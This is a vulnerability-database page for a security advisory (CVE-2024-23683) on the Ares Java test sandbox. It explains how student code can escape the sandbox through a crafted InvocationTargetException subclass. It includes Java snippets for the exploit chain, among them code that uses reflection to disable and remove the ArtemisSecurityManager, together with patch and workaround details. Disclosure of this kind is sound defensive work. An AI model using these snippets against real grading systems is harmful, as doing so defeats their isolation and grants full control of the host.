GHSA-883X-6FCH-6WJX

Vulnerability from github – Published: 2022-01-21 23:39 – Updated: 2026-01-22 20:31
VLAI?
Summary
Trust Boundary Violation due to Incomplete Blacklist in Test Failure Processing in Ares
Details

Impact

This allows an attacker to create special subclasses of InvocationTargetException that escape the exception sanitization because JUnit extracts the cause in a trusted context before the exception reaches Ares. This means that arbitrary student code can be executed in a trusted context, and that in turn allows disabling Ares and having full control over the system.

Patches

Update to version 1.7.6 or later.

Workarounds

Forbid student classes in trusted packages like, e.g., described in https://github.com/ls1intum/Ares/issues/15#issuecomment-996449371

References

Are there any links users can visit to find out more? Not that I know of.

For more information

If you have any questions or comments about this advisory: * Open an issue in https://github.com/ls1intum/Ares/issues * Email us, see https://github.com/ls1intum/Ares/security/policy

Detailed description

Using generics, it is possible to throw checked exceptions without a throws clause:

ThrowWithoutThrowsHelper 
public class ThrowWithoutThrowsHelper<X extends Throwable>
{
    private final X throwable;

    private ThrowWithoutThrowsHelper(X throwable)
    {
        this.throwable = throwable;
    }

    private <R> R throwWithThrows() throws X
    {
        throw throwable;
    }

    public static <R> R throwWithoutThrows(Throwable throwable)
    {
        ThrowWithoutThrowsHelper<?> helper = new ThrowWithoutThrowsHelper<Throwable>(throwable);
        @SuppressWarnings("unchecked")
        ThrowWithoutThrowsHelper<RuntimeException> helperCasted = (ThrowWithoutThrowsHelper<RuntimeException>) helper;
        return helperCasted.throwWithThrows();
    }
}

Using this, it is possible for a malicious testee to throw an instance of a malicious subclass of InvocationTargetException (let's call it EvilInvocationTargetException).

This exception is catched by org.junit.platform.commons.util.ReflectionUtils::invokeMethod, which looks like this:

ReflectionUtils::invokeMethod 
    public static Object invokeMethod(Method method, Object target, Object... args) {
        Preconditions.notNull(method, "Method must not be null");
        Preconditions.condition((target != null || isStatic(method)),
            () -> String.format("Cannot invoke non-static method [%s] on a null target.", method.toGenericString()));

        try {
            return makeAccessible(method).invoke(target, args);
        }
        catch (Throwable t) {
            throw ExceptionUtils.throwAsUncheckedException(getUnderlyingCause(t));
        }
    }

This method calls getUnderlyingCause (of the same class), passing to it the catched, malicious exception as an argument.

ReflectionUtils::getUnderlyingCause 
    private static Throwable getUnderlyingCause(Throwable t) {
        if (t instanceof InvocationTargetException) {
            return getUnderlyingCause(((InvocationTargetException) t).getTargetException());
        }
        return t;
    }

getUnderlyingCause in turn checks if the passed exception is instanceof InvocationTargetException, and if so, calls getTargetException on it. getTargetException can be overridden by subclasses of InvocationTargetException, like the EvilInvocationTargetException. If EvilInvocationTargetException is in a whitelisted package (for example de.tum.in.test.api.security.notsealedsubpackage), getTargetException will be called with the entire stack containing only whitelisted frames. This allows the attacker to uninstall the ArtemisSecurityManager in EvilInvocationTargetException::getTargetException:

Uninstalling ArtemisSecurityManager 

SecurityManager secman = System.getSecurityManager();
Class<?> aresSecmanClass = secman.getClass();
Field isPartlyDisabledF = aresSecmanClass.getDeclaredField("isPartlyDisabled");
isPartlyDisabledF.setAccessible(true);
isPartlyDisabledF.set(secman, true);
System.setSecurityManager(null);

After uninstalling ArtemisSecurityManager, the attacker is free to do anything expressible in Java; including reading and writing any files, opening network connections, and executing arbitrary shell commands.

Severity ?
8.2 (High)
CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "de.tum.in.ase:artemis-java-test-sandbox"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.7.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2024-23683"
  ],
  "database_specific": {
    "cwe_ids": [],
    "github_reviewed": true,
    "github_reviewed_at": "2022-01-18T22:55:47Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Impact\nThis allows an attacker to create special subclasses of `InvocationTargetException` that escape the exception sanitization because JUnit extracts the cause in a trusted context before the exception reaches Ares. This means that arbitrary student code can be executed in a trusted context, and that in turn allows disabling Ares and having full control over the system.\n\n### Patches\nUpdate to version `1.7.6` or later.\n\n### Workarounds\nForbid student classes in trusted packages like, e.g., described in https://github.com/ls1intum/Ares/issues/15#issuecomment-996449371\n\n### References\n_Are there any links users can visit to find out more?_\nNot that I know of.\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in https://github.com/ls1intum/Ares/issues\n* Email us, see https://github.com/ls1intum/Ares/security/policy\n\n### Detailed description\nUsing generics, it is possible to throw checked exceptions without a `throws` clause:\n\u003cdetails\u003e\n\u003csummary\u003eThrowWithoutThrowsHelper\u003c/summary\u003e\n\n```java\npublic class ThrowWithoutThrowsHelper\u003cX extends Throwable\u003e\n{\n    private final X throwable;\n\n    private ThrowWithoutThrowsHelper(X throwable)\n    {\n        this.throwable = throwable;\n    }\n\n    private \u003cR\u003e R throwWithThrows() throws X\n    {\n        throw throwable;\n    }\n\n    public static \u003cR\u003e R throwWithoutThrows(Throwable throwable)\n    {\n        ThrowWithoutThrowsHelper\u003c?\u003e helper = new ThrowWithoutThrowsHelper\u003cThrowable\u003e(throwable);\n        @SuppressWarnings(\"unchecked\")\n        ThrowWithoutThrowsHelper\u003cRuntimeException\u003e helperCasted = (ThrowWithoutThrowsHelper\u003cRuntimeException\u003e) helper;\n        return helperCasted.throwWithThrows();\n    }\n}\n```\n\u003c/details\u003e\n\nUsing this, it is possible for a malicious testee to throw an instance of a malicious subclass of `InvocationTargetException` (let\u0027s call it `EvilInvocationTargetException`).\n\nThis exception is catched by `org.junit.platform.commons.util.ReflectionUtils::invokeMethod`, which looks like this:\n\u003cdetails\u003e\n\u003csummary\u003eReflectionUtils::invokeMethod\u003c/summary\u003e\n\n```java\n    public static Object invokeMethod(Method method, Object target, Object... args) {\n        Preconditions.notNull(method, \"Method must not be null\");\n        Preconditions.condition((target != null || isStatic(method)),\n            () -\u003e String.format(\"Cannot invoke non-static method [%s] on a null target.\", method.toGenericString()));\n\n        try {\n            return makeAccessible(method).invoke(target, args);\n        }\n        catch (Throwable t) {\n            throw ExceptionUtils.throwAsUncheckedException(getUnderlyingCause(t));\n        }\n    }\n```\n\u003c/details\u003e\n\nThis method calls `getUnderlyingCause` (of the same class), passing to it the catched, malicious exception as an argument.\n\u003cdetails\u003e\n\u003csummary\u003eReflectionUtils::getUnderlyingCause\u003c/summary\u003e\n\n```java\n    private static Throwable getUnderlyingCause(Throwable t) {\n        if (t instanceof InvocationTargetException) {\n            return getUnderlyingCause(((InvocationTargetException) t).getTargetException());\n        }\n        return t;\n    }\n```\n\u003c/details\u003e\n\n`getUnderlyingCause` in turn checks if the passed exception is `instanceof InvocationTargetException`, and if so, calls `getTargetException` on it. `getTargetException` can be overridden by subclasses of `InvocationTargetException`, like the `EvilInvocationTargetException`.\nIf `EvilInvocationTargetException` is in a whitelisted package (for example `de.tum.in.test.api.security.notsealedsubpackage`), `getTargetException` will be called with the entire stack containing only whitelisted frames.\nThis allows the attacker to uninstall the `ArtemisSecurityManager` in `EvilInvocationTargetException::getTargetException`:\n\u003cdetails\u003e\n\u003csummary\u003eUninstalling ArtemisSecurityManager\u003c/summary\u003e\n\n```java\n\nSecurityManager secman = System.getSecurityManager();\nClass\u003c?\u003e aresSecmanClass = secman.getClass();\nField isPartlyDisabledF = aresSecmanClass.getDeclaredField(\"isPartlyDisabled\");\nisPartlyDisabledF.setAccessible(true);\nisPartlyDisabledF.set(secman, true);\nSystem.setSecurityManager(null);\n```\n\u003c/details\u003e\n\nAfter uninstalling `ArtemisSecurityManager`, the attacker is free to do anything expressible in Java; including reading and writing any files, opening network connections, and executing arbitrary shell commands.",
  "id": "GHSA-883x-6fch-6wjx",
  "modified": "2026-01-22T20:31:25Z",
  "published": "2022-01-21T23:39:19Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/ls1intum/Ares/security/advisories/GHSA-883x-6fch-6wjx"
    },
    {
      "type": "WEB",
      "url": "https://github.com/ls1intum/Ares/issues/15#issuecomment-996449371"
    },
    {
      "type": "WEB",
      "url": "https://github.com/ls1intum/Ares/commit/af4f28a56e2fe600d8750b3b415352a0a3217392"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/ls1intum/Ares"
    },
    {
      "type": "WEB",
      "url": "https://github.com/ls1intum/Ares/releases/tag/1.7.6"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Trust Boundary Violation due to Incomplete Blacklist in Test Failure Processing in Ares"
}


Log in or create an account to share your comment.




Tags
Taxonomy of the tags.




Sightings

Author Source Type Date

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.



Detection rules are retrieved from Rulezet.